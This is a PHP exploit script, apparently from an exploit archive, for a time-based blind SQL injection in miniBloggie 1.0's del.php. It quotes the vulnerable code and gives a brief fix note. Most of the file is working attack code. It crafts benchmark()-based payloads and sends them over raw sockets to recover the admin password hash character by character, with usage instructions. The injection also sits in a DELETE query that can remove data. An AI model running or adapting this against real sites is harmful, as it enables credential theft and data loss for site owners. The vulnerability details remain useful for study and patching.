minibloggie-sql.txt

`#!/usr/bin/php   
<?php  
  
error_reporting(0);  
  
  
/*  
miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit  
------------------------------------------------------------  
Author -> StAkeR aka athos - StAkeR[at]hotmail[dot]it  
Date -> 18/10/2008  
Get -> http://www.mywebland.com/dl.php?id=2  
------------------------------------------------------------  
  
File del.php  
  
25. if (isset($_GET['post_id'])) $post_id = $_GET['post_id'];  
26. if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];  
27.  
28. if ($confirm=="") {   
29. notice("Confirmation", "Warning : Do you want to delete this post ? <a href=del.php?post_id=".$post_id."&confirm=yes>Yes</a>");  
30. }  
31. elseif ($confirm=="yes") {  
32. // Data Base Connection //  
33. dbConnect();  
34. $sql = "DELETE FROM blogdata WHERE post_id=$post_id";  
35. $query = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());  
36. $confirm ="";  
37. notice("Del Post", "Data Deleted");  
38. }  
39. else notice( "Delete Error, Unable to complete the task !" );  
40. ?>  
  
NOTE:  
  
$sql = "DELETE FROM blogdata WHERE post_id=$post_id";  
  
$post_id isn't escaped so you can execute SQL Code   
  
How to fix? sanize $post_id with intval or int (PHP Functions)  
  
  
*/   
  
  
  
function get($host,$path,$evil)  
{  
if(!preg_match('/\w:[0-9]/i',$host)) alert();  
$inet = explode(':',$host);  
  
if(!$sock = fsockopen($inet[0],$inet[1])) die('connection refused');  
  
$data .= "GET /$path/del.php?post_id={$evil}&confirm=yes HTTP/1.1\r\n";  
$data .= "Host: $host[0]\r\n";  
$data .= "User-Agent: Lynx (textmode)\r\n";  
$data .= "Connection: close\r\n\r\n";  
  
fputs($sock,$data);  
  
while(!feof($sock)) { $html .= fgets($sock); }  
fclose($sock);  
  
return $html;  
}  
  
  
function alert()  
{  
echo "# miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit\r\n";  
echo "# Usage: php {$argv[0]} [host:port] [path] [user_id]\r\n";  
echo "# Usage: php {$argv[0]} localhost:80 /minibloggie 1\r\n";  
die;  
}  
  
  
function charme($char,$colum,$id)  
{  
$sql = "1 or (select if((ascii(substring(password".  
",$colum,1))=$char),benchmark(200000000,char(0)),0)".  
" from blogusername where id=$id)#";  
  
return urlencode($sql);  
}  
  
  
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);  
$c = 0;  
  
  
for($i=0;$i<=32;$i++)  
{  
for($j=0;$j<=17;$j++)  
{  
$start = time();  
  
get($argv[1],$argv[2],charme($hash[$j],$c,intval($argv[3])));  
  
$stop = time();  
  
if($stop - $start > 12)  
{  
$password .= chr($hash[$j]);  
$c++;;  
break;  
}  
}  
}  
  
if(isset($password))  
{  
echo "# Hash: $password\r\n";  
die;  
}  
else  
{  
echo "# Exploit Failed!\r\n";  
}  
  
  
  
  
?>  
  
  
`